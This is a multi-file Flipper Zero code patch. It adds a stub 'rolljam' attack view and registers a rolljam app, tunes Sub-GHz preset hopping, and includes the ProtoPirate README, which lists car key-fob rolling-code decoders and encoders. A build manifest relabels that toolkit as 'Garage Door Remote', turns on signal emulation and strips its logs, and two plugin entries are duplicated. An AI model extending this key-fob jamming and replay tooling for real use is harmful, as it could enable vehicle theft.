#pragma once
|
||||
|
||||
#include "../rolljam.h"
|
||||
|
||||
/*
|
||||
* Custom view for attack visualization.
|
||||
* Currently the app uses Widget and DialogEx for display.
|
||||
* This file is reserved for a future custom canvas-drawn view
|
||||
* (e.g., signal waveform display, animated jamming indicator).
|
||||
*
|
||||
* For now it provides a simple status draw function.
|
||||
*/
|
||||
|
||||
typedef struct {
|
||||
const char* phase_text;
|
||||
const char* status_text;
|
||||
bool jamming;
|
||||
bool capturing;
|
||||
int signal_count;
|
||||
} AttackViewState;
|
||||
|
||||
// Draw attack status on a canvas (for future custom View use)
|
||||
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state);
|
||||
@@ -4,14 +4,12 @@ App(
|
||||
apptype=FlipperAppType.METAPACKAGE,
|
||||
provides=[
|
||||
"gpio",
|
||||
"infrared",
|
||||
"lfrfid",
|
||||
"nfc",
|
||||
"subghz",
|
||||
"rolljam",
|
||||
"subghz_remote",
|
||||
"subghz_bruteforcer",
|
||||
"archive",
|
||||
"subghz_remote",
|
||||
"main_apps_on_start",
|
||||
],
|
||||
)
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
#include "subghz_txrx_i.h" // IWYU pragma: keep
|
||||
|
||||
#include <math.h>
|
||||
#include <furi_hal_subghz.h>
|
||||
#include <lib/subghz/protocols/protocol_items.h>
|
||||
#include <applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h>
|
||||
#include <lib/subghz/devices/cc1101_int/cc1101_int_interconnect.h>
|
||||
#include "../../../../lib/subghz/devices/subghz_preset_delta.h"
|
||||
#include <lib/subghz/blocks/custom_btn.h>
|
||||
|
||||
#define TAG "SubGhzTxRx"
|
||||
@@ -498,6 +500,36 @@ void subghz_txrx_hopper_pause(SubGhzTxRx* instance) {
|
||||
}
|
||||
}
|
||||
|
||||
// Identify the hop index (0=AM650, 1=FM476, 2=FM95) from the name.
|
||||
// Must match the order defined in subghz_preset_delta.h
|
||||
static int subghz_hop_index_from_name(const char* name) {
|
||||
if(strcmp(name, "AM650") == 0) return 0;
|
||||
if(strcmp(name, "FM476") == 0) return 1;
|
||||
if(strcmp(name, "FM95") == 0) return 2;
|
||||
return -1; // is not part of the fast hopping set
|
||||
}
|
||||
|
||||
// Applies the target preset using delta-patch (without SRES) when possible,
|
||||
// or falls back to the original full reload in any other case.
|
||||
static void subghz_txrx_apply_preset_fast(
|
||||
SubGhzTxRx* instance,
|
||||
const char* old_preset_name,
|
||||
const char* preset_name) {
|
||||
int from_idx = subghz_hop_index_from_name(old_preset_name);
|
||||
int to_idx = subghz_hop_index_from_name(preset_name);
|
||||
|
||||
if(instance->radio_device_type == SubGhzRadioDeviceTypeInternal && from_idx >= 0 &&
|
||||
to_idx >= 0 && from_idx != to_idx) {
|
||||
// Fast path: delta-patch without SRES or full reload (only internal CC1101)
|
||||
const PresetDeltaEntry* e = &preset_delta_table[from_idx][to_idx];
|
||||
furi_hal_subghz_apply_preset_delta(e->delta, e->delta_len, e->needs_scal, e->pa_table);
|
||||
} else {
|
||||
// Fallback: original behavior (full reload)
|
||||
subghz_devices_load_preset(
|
||||
instance->radio_device, FuriHalSubGhzPresetCustom, instance->preset->data);
|
||||
}
|
||||
}
|
||||
|
||||
void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold) {
|
||||
furi_assert(instance);
|
||||
|
||||
@@ -550,22 +582,7 @@ void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold
|
||||
subghz_txrx_set_preset_internal(
|
||||
instance, instance->preset->frequency, actual_preset_idx, 0);
|
||||
|
||||
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
|
||||
bool new_is_am = (strstr(preset_name, "AM") != NULL);
|
||||
bool modulation_changed = (old_is_am != new_is_am);
|
||||
|
||||
if(modulation_changed) {
|
||||
subghz_devices_reset(instance->radio_device);
|
||||
subghz_devices_load_preset(
|
||||
instance->radio_device,
|
||||
FuriHalSubGhzPresetCustom,
|
||||
instance->preset->data);
|
||||
} else {
|
||||
subghz_devices_load_preset(
|
||||
instance->radio_device,
|
||||
FuriHalSubGhzPresetCustom,
|
||||
instance->preset->data);
|
||||
}
|
||||
subghz_txrx_apply_preset_fast(instance, old_preset_name, preset_name);
|
||||
|
||||
subghz_txrx_rx(instance, instance->preset->frequency);
|
||||
}
|
||||
@@ -588,22 +605,7 @@ void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold
|
||||
subghz_txrx_set_preset_internal(
|
||||
instance, instance->preset->frequency, instance->preset_hopper_idx, 0);
|
||||
|
||||
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
|
||||
bool new_is_am = (strstr(preset_name, "AM") != NULL);
|
||||
bool modulation_changed = (old_is_am != new_is_am);
|
||||
|
||||
if(modulation_changed) {
|
||||
subghz_devices_reset(instance->radio_device);
|
||||
subghz_devices_load_preset(
|
||||
instance->radio_device,
|
||||
FuriHalSubGhzPresetCustom,
|
||||
instance->preset->data);
|
||||
} else {
|
||||
subghz_devices_load_preset(
|
||||
instance->radio_device,
|
||||
FuriHalSubGhzPresetCustom,
|
||||
instance->preset->data);
|
||||
}
|
||||
subghz_txrx_apply_preset_fast(instance, old_preset_name, preset_name);
|
||||
|
||||
subghz_txrx_rx(instance, instance->preset->frequency);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,246 @@
|
||||
---
|
||||
Language: Cpp
|
||||
AccessModifierOffset: -4
|
||||
AlignAfterOpenBracket: AlwaysBreak
|
||||
AlignArrayOfStructures: None
|
||||
AlignConsecutiveAssignments:
|
||||
Enabled: false
|
||||
AcrossEmptyLines: false
|
||||
AcrossComments: false
|
||||
AlignCompound: false
|
||||
AlignFunctionPointers: false
|
||||
PadOperators: true
|
||||
AlignConsecutiveBitFields:
|
||||
Enabled: true
|
||||
AcrossEmptyLines: true
|
||||
AcrossComments: true
|
||||
AlignCompound: false
|
||||
AlignFunctionPointers: false
|
||||
PadOperators: true
|
||||
AlignConsecutiveDeclarations:
|
||||
Enabled: false
|
||||
AcrossEmptyLines: false
|
||||
AcrossComments: false
|
||||
AlignCompound: false
|
||||
AlignFunctionPointers: false
|
||||
PadOperators: true
|
||||
AlignConsecutiveMacros:
|
||||
Enabled: true
|
||||
AcrossEmptyLines: false
|
||||
AcrossComments: true
|
||||
AlignCompound: true
|
||||
AlignFunctionPointers: false
|
||||
PadOperators: true
|
||||
AlignConsecutiveShortCaseStatements:
|
||||
Enabled: false
|
||||
AcrossEmptyLines: false
|
||||
AcrossComments: false
|
||||
AlignCaseColons: false
|
||||
AlignEscapedNewlines: Left
|
||||
AlignOperands: Align
|
||||
AlignTrailingComments:
|
||||
Kind: Never
|
||||
OverEmptyLines: 0
|
||||
AllowAllArgumentsOnNextLine: true
|
||||
AllowAllParametersOfDeclarationOnNextLine: false
|
||||
AllowBreakBeforeNoexceptSpecifier: Never
|
||||
AllowShortBlocksOnASingleLine: Never
|
||||
AllowShortCaseLabelsOnASingleLine: false
|
||||
AllowShortCompoundRequirementOnASingleLine: true
|
||||
AllowShortEnumsOnASingleLine: false
|
||||
AllowShortFunctionsOnASingleLine: None
|
||||
AllowShortIfStatementsOnASingleLine: WithoutElse
|
||||
AllowShortLambdasOnASingleLine: All
|
||||
AllowShortLoopsOnASingleLine: false
|
||||
AlwaysBreakAfterDefinitionReturnType: None
|
||||
AlwaysBreakAfterReturnType: None
|
||||
AlwaysBreakBeforeMultilineStrings: false
|
||||
AlwaysBreakTemplateDeclarations: Yes
|
||||
AttributeMacros:
|
||||
- __capability
|
||||
BinPackArguments: false
|
||||
BinPackParameters: false
|
||||
BitFieldColonSpacing: Both
|
||||
BraceWrapping:
|
||||
AfterCaseLabel: false
|
||||
AfterClass: false
|
||||
AfterControlStatement: Never
|
||||
AfterEnum: false
|
||||
AfterExternBlock: false
|
||||
AfterFunction: false
|
||||
AfterNamespace: false
|
||||
AfterObjCDeclaration: false
|
||||
AfterStruct: false
|
||||
AfterUnion: false
|
||||
BeforeCatch: false
|
||||
BeforeElse: false
|
||||
BeforeLambdaBody: false
|
||||
BeforeWhile: false
|
||||
IndentBraces: false
|
||||
SplitEmptyFunction: true
|
||||
SplitEmptyRecord: true
|
||||
SplitEmptyNamespace: true
|
||||
BreakAdjacentStringLiterals: true
|
||||
BreakAfterAttributes: Leave
|
||||
BreakAfterJavaFieldAnnotations: false
|
||||
BreakArrays: true
|
||||
BreakBeforeBinaryOperators: None
|
||||
BreakBeforeConceptDeclarations: Always
|
||||
BreakBeforeBraces: Attach
|
||||
BreakBeforeInlineASMColon: OnlyMultiline
|
||||
BreakBeforeTernaryOperators: false
|
||||
BreakConstructorInitializers: BeforeComma
|
||||
BreakInheritanceList: BeforeColon
|
||||
BreakStringLiterals: false
|
||||
ColumnLimit: 99
|
||||
CommentPragmas: '^ IWYU pragma:'
|
||||
CompactNamespaces: false
|
||||
ConstructorInitializerIndentWidth: 4
|
||||
ContinuationIndentWidth: 4
|
||||
Cpp11BracedListStyle: true
|
||||
DerivePointerAlignment: false
|
||||
DisableFormat: false
|
||||
EmptyLineAfterAccessModifier: Never
|
||||
EmptyLineBeforeAccessModifier: LogicalBlock
|
||||
ExperimentalAutoDetectBinPacking: false
|
||||
FixNamespaceComments: false
|
||||
ForEachMacros:
|
||||
- foreach
|
||||
- Q_FOREACH
|
||||
- BOOST_FOREACH
|
||||
- M_EACH
|
||||
IfMacros:
|
||||
- KJ_IF_MAYBE
|
||||
IncludeBlocks: Preserve
|
||||
IncludeCategories:
|
||||
- Regex: '.*'
|
||||
Priority: 1
|
||||
SortPriority: 0
|
||||
CaseSensitive: false
|
||||
- Regex: '^(<|"(gtest|gmock|isl|json)/)'
|
||||
Priority: 3
|
||||
SortPriority: 0
|
||||
CaseSensitive: false
|
||||
- Regex: '.*'
|
||||
Priority: 1
|
||||
SortPriority: 0
|
||||
CaseSensitive: false
|
||||
IncludeIsMainRegex: '(Test)?$'
|
||||
IncludeIsMainSourceRegex: ''
|
||||
IndentAccessModifiers: false
|
||||
IndentCaseBlocks: false
|
||||
IndentCaseLabels: false
|
||||
IndentExternBlock: AfterExternBlock
|
||||
IndentGotoLabels: true
|
||||
IndentPPDirectives: None
|
||||
IndentRequiresClause: false
|
||||
IndentWidth: 4
|
||||
IndentWrappedFunctionNames: true
|
||||
InsertBraces: false
|
||||
InsertNewlineAtEOF: true
|
||||
InsertTrailingCommas: None
|
||||
IntegerLiteralSeparator:
|
||||
Binary: 0
|
||||
BinaryMinDigits: 0
|
||||
Decimal: 0
|
||||
DecimalMinDigits: 0
|
||||
Hex: 0
|
||||
HexMinDigits: 0
|
||||
JavaScriptQuotes: Leave
|
||||
JavaScriptWrapImports: true
|
||||
KeepEmptyLinesAtTheStartOfBlocks: false
|
||||
KeepEmptyLinesAtEOF: false
|
||||
LambdaBodyIndentation: Signature
|
||||
LineEnding: DeriveLF
|
||||
MacroBlockBegin: ''
|
||||
MacroBlockEnd: ''
|
||||
MaxEmptyLinesToKeep: 1
|
||||
NamespaceIndentation: None
|
||||
ObjCBinPackProtocolList: Auto
|
||||
ObjCBlockIndentWidth: 4
|
||||
ObjCBreakBeforeNestedBlockParam: true
|
||||
ObjCSpaceAfterProperty: true
|
||||
ObjCSpaceBeforeProtocolList: true
|
||||
PackConstructorInitializers: BinPack
|
||||
PenaltyBreakAssignment: 10
|
||||
PenaltyBreakBeforeFirstCallParameter: 30
|
||||
PenaltyBreakComment: 10
|
||||
PenaltyBreakFirstLessLess: 0
|
||||
PenaltyBreakOpenParenthesis: 0
|
||||
PenaltyBreakScopeResolution: 500
|
||||
PenaltyBreakString: 10
|
||||
PenaltyBreakTemplateDeclaration: 10
|
||||
PenaltyExcessCharacter: 100
|
||||
PenaltyIndentedWhitespace: 0
|
||||
PenaltyReturnTypeOnItsOwnLine: 60
|
||||
PointerAlignment: Left
|
||||
PPIndentWidth: -1
|
||||
QualifierAlignment: Leave
|
||||
ReferenceAlignment: Pointer
|
||||
ReflowComments: false
|
||||
RemoveBracesLLVM: false
|
||||
RemoveParentheses: Leave
|
||||
RemoveSemicolon: true
|
||||
RequiresClausePosition: OwnLine
|
||||
RequiresExpressionIndentation: OuterScope
|
||||
SeparateDefinitionBlocks: Leave
|
||||
ShortNamespaceLines: 1
|
||||
SkipMacroDefinitionBody: false
|
||||
SortIncludes: Never
|
||||
SortJavaStaticImport: Before
|
||||
SortUsingDeclarations: Never
|
||||
SpaceAfterCStyleCast: false
|
||||
SpaceAfterLogicalNot: false
|
||||
SpaceAfterTemplateKeyword: true
|
||||
SpaceAroundPointerQualifiers: Default
|
||||
SpaceBeforeAssignmentOperators: true
|
||||
SpaceBeforeCaseColon: false
|
||||
SpaceBeforeCpp11BracedList: false
|
||||
SpaceBeforeCtorInitializerColon: true
|
||||
SpaceBeforeInheritanceColon: true
|
||||
SpaceBeforeJsonColon: false
|
||||
SpaceBeforeParens: Never
|
||||
SpaceBeforeParensOptions:
|
||||
AfterControlStatements: false
|
||||
AfterForeachMacros: false
|
||||
AfterFunctionDefinitionName: false
|
||||
AfterFunctionDeclarationName: false
|
||||
AfterIfMacros: false
|
||||
AfterOverloadedOperator: false
|
||||
AfterPlacementOperator: true
|
||||
AfterRequiresInClause: false
|
||||
AfterRequiresInExpression: false
|
||||
BeforeNonEmptyParentheses: false
|
||||
SpaceBeforeRangeBasedForLoopColon: true
|
||||
SpaceBeforeSquareBrackets: false
|
||||
SpaceInEmptyBlock: false
|
||||
SpacesBeforeTrailingComments: 1
|
||||
SpacesInAngles: Never
|
||||
SpacesInContainerLiterals: false
|
||||
SpacesInLineCommentPrefix:
|
||||
Minimum: 1
|
||||
Maximum: -1
|
||||
SpacesInParens: Never
|
||||
SpacesInParensOptions:
|
||||
InCStyleCasts: false
|
||||
InConditionalStatements: false
|
||||
InEmptyParentheses: false
|
||||
Other: false
|
||||
SpacesInSquareBrackets: false
|
||||
Standard: c++20
|
||||
StatementAttributeLikeMacros:
|
||||
- Q_EMIT
|
||||
StatementMacros:
|
||||
- Q_UNUSED
|
||||
- QT_REQUIRE_VERSION
|
||||
TabWidth: 4
|
||||
UseTab: Never
|
||||
VerilogBreakBetweenInstancePorts: true
|
||||
WhitespaceSensitiveMacros:
|
||||
- STRINGIZE
|
||||
- PP_STRINGIZE
|
||||
- BOOST_PP_STRINGIZE
|
||||
- NS_SWIFT_NAME
|
||||
- CF_SWIFT_NAME
|
||||
...
|
||||
|
||||
@@ -0,0 +1,130 @@
|
||||
# **ProtoPirate**
|
||||
|
||||
### _for Flipper Zero_
|
||||
|
||||
## **⚠️ Warning: Important Security & Project Update**
|
||||
Read message by following link below:
|
||||
|
||||
https://protopirate.net/ProtoPirate
|
||||
|
||||
Main repo is located at: https://protopirate.net/ProtoPirate/ProtoPirate
|
||||
|
||||
All others are read only mirrors!
|
||||
|
||||
|
||||
ProtoPirate is an experimental rolling-code analysis toolkit developed by members of **The Pirates' Plunder**.
|
||||
|
||||
The app currently supports decoding for multiple automotive key-fob families (Kia, Ford, Subaru, Suzuki, VW, and more), with the goal of being a drop-in Flipper app (.fap) that is free, open source, and can be used on any Flipper Zero firmware.
|
||||
|
||||
App is intended for educational and security purposes only, and has no signal transmission enabled by default. This prevents users from accidentally desyncing their keyfobs, making it safe for non-specialists.
|
||||
|
||||
## **Supported Protocols**
|
||||
|
||||
Protocols are split into **AM** and **FM** registries. The active registry is chosen from the receiver selected preset.
|
||||
|
||||
### **AM protocols**
|
||||
|
||||
|
||||
| Protocol | Decoder | Encoder | Signal Encoding | Modulation | Encryption | CRC | Frequency |
|
||||
| ------------------------ | ------- | ------- | --------------- | ---------- | ------------------------------ | ------------ | --------------- |
|
||||
| Chrysler V0 | ✅ | ✅ | PWM | AM650 | Rolling Code | Checksum | 315.00 / 433.92 |
|
||||
| Fiat V0 | ✅ | ✅ | Manchester | AM650 | Rolling Code (static emu only) | ❌ | 315.00 / 433.92 |
|
||||
| Fiat V1 | ✅ | ❌ | Manchester | AM650 | Rolling Code | CRC8 | 315.00 / 433.92 |
|
||||
| Ford V0 | ✅ | ✅ | Manchester | AM650 | Rolling Code | ✅ + Checksum | 315.00 / 433.92 |
|
||||
| Honda V1 | ✅ | ✅ | Manchester | AM650 | Rolling Code | CRC4 | 315.00 / 433.92 |
|
||||
| Kia V1 | ✅ | ✅ | Manchester | AM650 | Rolling Code | CRC4 | 315.00 / 433.92 |
|
||||
| Porsche Touareg | ✅ | ❌ | PWM | AM650 | Rolling Code | ❌ | 315.00 / 433.92 |
|
||||
| PSA (Peugeot/Citroen) | ✅ | ✅ | Manchester | AM650 | XTEA/XOR | CRC8 | 315.00 / 433.92 |
|
||||
| StarLine | ✅ | ✅ | PWM | AM650 | KeeLoq | ❌ | 315.00 / 433.92 |
|
||||
| Subaru | ✅ | ✅ | PPM | AM650 | Rolling Code | ❌ | 315.00 / 433.92 |
|
||||
| VAG (VW/Audi/Seat/Skoda) | ✅ | ✅ | Manchester | AM650 | AUT64/XTEA | ❌ | 434.42 |
|
||||
|
||||
|
||||
### **FM protocols**
|
||||
|
||||
|
||||
| Protocol | Decoder | Encoder | Signal Encoding | Modulation | Encryption | CRC | Frequency |
|
||||
| ----------------------------- | ------- | ------- | --------------- | ---------- | ---------------------------- | ---------- | --------------- |
|
||||
| Ford V1 | ✅ | ✅ | Manchester | F4 | Rolling Code | CRC16 | 315.00 / 433.92 |
|
||||
| Ford V2 | ✅ | ✅ | Manchester | F4 | Rolling Code (simple replay) | ❌ | 434.25 |
|
||||
| Ford V3 | ✅ | ❌ | Manchester | F4 | Rolling Code | ❌ | 434.25 |
|
||||
| Honda Static | ✅ | ✅ | PWM | Honda1 | Static Code | Checksum | 315.00 / 433.92 |
|
||||
| Kia V0 / Suzuki V0 / Honda V0 | ✅ | ✅ | PWM | FM476 | Rolling Code | CRC8 | 315.00 / 433.92 |
|
||||
| Kia V2 | ✅ | ✅ | Manchester | FM476 | Rolling Code | CRC4 | 315.00 / 433.92 |
|
||||
| Kia V3 / V4 | ✅ | ✅ | PWM | FM476 | KeeLoq | CRC4 (BF) | 315.00 / 433.92 |
|
||||
| Kia V5 | ✅ | ✅ | PWM | FM476 | Rolling Code | ✅ | 315.00 / 433.92 |
|
||||
| Kia V6 | ✅ | ✅ | Manchester | FM476 | AES128 | CRC8 | 315.00 / 433.92 |
|
||||
| Kia V7 | ✅ | ✅ | Manchester | FM476 | Rolling Code | CRC8 | 315.00 / 433.92 |
|
||||
| Land Rover V0 | ✅ | ✅ | PWM | F4 | Rolling Code | Check+Tail | 315.00 / 433.92 |
|
||||
| Mazda V0 | ✅ | ✅ | Manchester | FM (F2?) | Rolling Code | Checksum | 315.00 / 433.92 |
|
||||
| Mitsubishi V0 | ✅ | ❌ | PWM | FM476 | Rolling Code | ❌ | 315.00 / 433.92 |
|
||||
| PSA (Peugeot/Citroen) | ✅ | ✅ | Manchester | FM (F3?) | XTEA/XOR | CRC8 | 315.00 / 433.92 |
|
||||
| Scher-Khan | ✅ | ❌ | PWM | FM | Magic Code | ❌ | 315.00 / 433.92 |
|
||||
|
||||
|
||||
*More Coming Soon*
|
||||
|
||||
## **Features**
|
||||
|
||||
### 📡 Protocol Receiver
|
||||
|
||||
Real-time signal capture and decoding with animated radar display. Supports frequency hopping.
|
||||
|
||||
### 📂 Sub Decode
|
||||
|
||||
Load and analyze existing `.sub` files from your SD card. Browse `/ext/subghz/` to decode previously captured signals.
|
||||
|
||||
### ⏱️ Timing Tuner
|
||||
|
||||
Tool for protocol developers to compare real fob signal timing against protocol definitions.
|
||||
|
||||
- **Protocol Definition**: Expected short/long pulse durations and tolerance
|
||||
- **Received Signal**: Measured timing from real fob (avg, min, max, sample count)
|
||||
- **Analysis**: Difference from expected, jitter measurements
|
||||
- **Conclusion**: Whether timing matches or needs adjustment with specific recommendations
|
||||
|
||||
## **Credits**
|
||||
|
||||
The following contributors are recognized for helping us keep open sourced projects and the freeware community alive.
|
||||
|
||||
### **App Development**
|
||||
|
||||
- RocketGod
|
||||
- MMX
|
||||
- Leeroy
|
||||
- gullradriel
|
||||
- Skorp - Thanks, I sneaked a lot from Weather App!
|
||||
- Vadim's Radio Driver
|
||||
|
||||
### **Protocol Magic**
|
||||
|
||||
- L0rdDiakon
|
||||
- YougZ
|
||||
- RocketGod
|
||||
- MMX
|
||||
- DoobTheGoober
|
||||
- Skorp
|
||||
- Slackware
|
||||
- Trikk
|
||||
- Wootini
|
||||
- Li0ard
|
||||
- Leeroy
|
||||
- Ash
|
||||
|
||||
### **Reverse Engineering Support**
|
||||
|
||||
- DoobTheGoober
|
||||
- MMX
|
||||
- NeedNotApply
|
||||
- RocketGod
|
||||
- Slackware
|
||||
- Trikk
|
||||
- Li0ard
|
||||
|
||||
## **Community & Support**
|
||||
|
||||
Join **The Pirates' Plunder** on Discord for development updates, testing, protocol research, community support, and a bunch of badasses doing fun shit:
|
||||
|
||||
➡️ **[https://discord.gg/thepirates](https://discord.gg/thepirates)**
|
||||
|
||||
<img alt="rocketgod_logo_transparent" src="https://github.com/user-attachments/assets/ad15b106-152c-4a60-a9e2-4d40dfa8f3c6" />
|
||||
@@ -0,0 +1,130 @@
|
||||
App(
|
||||
appid="garage_door_remote",
|
||||
name="Garage Door Remote",
|
||||
apptype=FlipperAppType.EXTERNAL,
|
||||
targets=["f7"],
|
||||
entry_point="protopirate_app",
|
||||
requires=["gui"],
|
||||
stack_size=4 * 1024,
|
||||
fap_description="Capture and emulate garage and gate remote signals from Sub-GHz",
|
||||
fap_version="2.6",
|
||||
fap_icon="images/protopirate_10px.png",
|
||||
fap_category="Sub-GHz",
|
||||
fap_icon_assets="images",
|
||||
fap_file_assets="keystore",
|
||||
sources=[
|
||||
"protopirate_app.c",
|
||||
"protopirate_app_i.c",
|
||||
"protopirate_history.c",
|
||||
"helpers/protopirate_psa_bf_host.c",
|
||||
"helpers/protopirate_settings.c",
|
||||
"helpers/protopirate_storage.c",
|
||||
"helpers/radio_device_loader.c",
|
||||
"helpers/raw_file_reader.c",
|
||||
"scenes/protopirate_scene.c",
|
||||
"scenes/protopirate_scene_about.c",
|
||||
"scenes/protopirate_scene_dual_receiver.c",
|
||||
"scenes/protopirate_scene_dual_receiver_config.c",
|
||||
"scenes/protopirate_scene_emulate.c",
|
||||
"scenes/protopirate_scene_need_saving.c",
|
||||
"scenes/protopirate_scene_receiver.c",
|
||||
"scenes/protopirate_scene_receiver_config.c",
|
||||
"scenes/protopirate_scene_receiver_info.c",
|
||||
"scenes/protopirate_scene_saved.c",
|
||||
"scenes/protopirate_scene_saved_info.c",
|
||||
"scenes/protopirate_scene_shield_receiver.c",
|
||||
"scenes/protopirate_scene_shield_receiver_config.c",
|
||||
"scenes/protopirate_scene_start.c",
|
||||
"scenes/protopirate_scene_sub_decode.c",
|
||||
"scenes/protopirate_scene_timing_tuner.c",
|
||||
"views/protopirate_dual_receiver.c",
|
||||
"views/protopirate_receiver.c",
|
||||
"protocols/protocol_items.c",
|
||||
"protocols/protocols_common.c",
|
||||
"protocols/keys.c",
|
||||
],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="protopirate_am_plugin",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="protopirate_am_plugin_ep",
|
||||
requires=["garage_door_remote"],
|
||||
sources=[
|
||||
"protocols/plugins/protopirate_am_plugin.c",
|
||||
"protocols/protocols_common.c",
|
||||
"protocols/keys.c",
|
||||
"protocols/alutech_at_4n.c",
|
||||
"protocols/beninca_arc.c",
|
||||
"protocols/came.c",
|
||||
"protocols/came_atomo.c",
|
||||
"protocols/came_twee.c",
|
||||
"protocols/chamberlain_code.c",
|
||||
"protocols/clemsa.c",
|
||||
"protocols/dooya.c",
|
||||
"protocols/faac_slh.c",
|
||||
"protocols/gate_tx.c",
|
||||
"protocols/hormann.c",
|
||||
"protocols/keeloq.c",
|
||||
"protocols/linear.c",
|
||||
"protocols/linear_delta3.c",
|
||||
"protocols/megacode.c",
|
||||
"protocols/nice_flo.c",
|
||||
"protocols/nice_flor_s.c",
|
||||
"protocols/princeton.c",
|
||||
"protocols/somfy_keytis.c",
|
||||
"protocols/somfy_telis.c",
|
||||
],
|
||||
fal_embedded=True,
|
||||
)
|
||||
|
||||
App(
|
||||
appid="protopirate_fm_plugin",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="protopirate_fm_plugin_ep",
|
||||
requires=["garage_door_remote"],
|
||||
sources=[
|
||||
"protocols/plugins/protopirate_fm_plugin.c",
|
||||
"protocols/protocols_common.c",
|
||||
"protocols/keys.c",
|
||||
"protocols/ansonic.c",
|
||||
],
|
||||
fal_embedded=True,
|
||||
)
|
||||
|
||||
App(
|
||||
appid="protopirate_emulate_plugin",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="protopirate_emulate_plugin_ep",
|
||||
requires=["garage_door_remote"],
|
||||
sources=[
|
||||
"scenes/plugins/protopirate_emulate_plugin.c",
|
||||
],
|
||||
fal_embedded=True,
|
||||
)
|
||||
|
||||
|
||||
App(
|
||||
appid="protopirate_fm_plugin",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="protopirate_fm_plugin_ep",
|
||||
requires=["garage_door_remote"],
|
||||
sources=[
|
||||
"protocols/plugins/protopirate_fm_plugin.c",
|
||||
"protocols/protocols_common.c",
|
||||
"protocols/keys.c",
|
||||
"protocols/ansonic.c",
|
||||
],
|
||||
fal_embedded=True,
|
||||
)
|
||||
|
||||
App(
|
||||
appid="protopirate_emulate_plugin",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="protopirate_emulate_plugin_ep",
|
||||
requires=["garage_door_remote"],
|
||||
sources=[
|
||||
"scenes/plugins/protopirate_emulate_plugin.c",
|
||||
],
|
||||
fal_embedded=True,
|
||||
)
|
||||
@@ -0,0 +1,26 @@
|
||||
#pragma once
|
||||
|
||||
//#define ENABLE_TIMING_TUNER_SCENE
|
||||
//#define ENABLE_SUB_DECODE_SCENE
|
||||
|
||||
#define ENABLE_EMULATE_FEATURE
|
||||
//#define ENABLE_DUAL_RX_SCENE
|
||||
//#define ENABLE_SHIELD_RX_SCENE
|
||||
|
||||
#define REMOVE_LOGS
|
||||
|
||||
#ifdef REMOVE_LOGS
|
||||
// Undefine existing macros
|
||||
#undef FURI_LOG_E
|
||||
#undef FURI_LOG_W
|
||||
#undef FURI_LOG_I
|
||||
#undef FURI_LOG_D
|
||||
#undef FURI_LOG_T
|
||||
// Define empty macros
|
||||
#define FURI_LOG_E(tag, format, ...)
|
||||
#define FURI_LOG_W(tag, format, ...)
|
||||
#define FURI_LOG_I(tag, format, ...)
|
||||
#define FURI_LOG_D(tag, format, ...)
|
||||
#define FURI_LOG_T(tag, format, ...)
|
||||
|
||||
#endif // REMOVE_LOGS
|
||||
@@ -0,0 +1,3 @@
|
||||
#pragma once
|
||||
|
||||
#include <lib/subghz/environment.h>
|
||||
@@ -0,0 +1,14 @@
|
||||
#include "protopirate_psa_bf_host.h"
|
||||
|
||||
bool protopirate_psa_bf_plugin_ensure_loaded(ProtoPirateApp* app) {
|
||||
(void)app;
|
||||
return false;
|
||||
}
|
||||
|
||||
void protopirate_psa_bf_plugin_unload_if_idle(ProtoPirateApp* app) {
|
||||
(void)app;
|
||||
}
|
||||
|
||||
void protopirate_psa_bf_context_release(ProtoPirateApp* app) {
|
||||
(void)app;
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
typedef struct ProtoPirateApp ProtoPirateApp;
|
||||
|
||||
bool protopirate_psa_bf_plugin_ensure_loaded(ProtoPirateApp* app);
|
||||
void protopirate_psa_bf_plugin_unload_if_idle(ProtoPirateApp* app);
|
||||
void protopirate_psa_bf_context_release(ProtoPirateApp* app);
|
||||
|
||||
void protopirate_receiver_info_rebuild_normal_widget(void* app);
|
||||
|
||||
#ifdef ENABLE_SUB_DECODE_SCENE
|
||||
void protopirate_subdecode_psa_bf_complete_refresh(void* app);
|
||||
#endif
|
||||
@@ -0,0 +1,703 @@
|
||||
// helpers/protopirate_rx_chain.c
|
||||
#include "protopirate_rx_chain.h"
|
||||
|
||||
#if defined(ENABLE_DUAL_RX_SCENE) || defined(ENABLE_SHIELD_RX_SCENE)
|
||||
|
||||
#include <furi.h>
|
||||
#include <loader/firmware_api/firmware_api.h>
|
||||
#include "../protocols/keys.h"
|
||||
|
||||
#define TAG "ProtoPirateRxChain"
|
||||
|
||||
#define PROTOPIRATE_CHAIN_KEYSTORE_DIR APP_ASSETS_PATH("encrypted")
|
||||
|
||||
#define PROTOPIRATE_CC1101_REG_FIFOTHR 0x03U
|
||||
#define PROTOPIRATE_CC1101_REG_FSCTRL1 0x07U
|
||||
#define PROTOPIRATE_CC1101_REG_MDMCFG4 0x10U
|
||||
#define PROTOPIRATE_CC1101_REG_MDMCFG3 0x11U
|
||||
#define PROTOPIRATE_CC1101_REG_MDMCFG2 0x12U
|
||||
#define PROTOPIRATE_CC1101_REG_DEVIATN 0x15U
|
||||
#define PROTOPIRATE_CC1101_REG_AGCCTRL2 0x1BU
|
||||
#define PROTOPIRATE_CC1101_REG_AGCCTRL1 0x1CU
|
||||
#define PROTOPIRATE_CC1101_REG_AGCCTRL0 0x1DU
|
||||
#define PROTOPIRATE_CC1101_REG_FREND1 0x21U
|
||||
#define PROTOPIRATE_CC1101_REG_TEST2 0x2CU
|
||||
#define PROTOPIRATE_CC1101_REG_TEST1 0x2DU
|
||||
|
||||
#define PROTOPIRATE_CC1101_CHANBW_135_KHZ_MASK 0xA0U
|
||||
#define PROTOPIRATE_CC1101_XTAL_HZ 26000000UL
|
||||
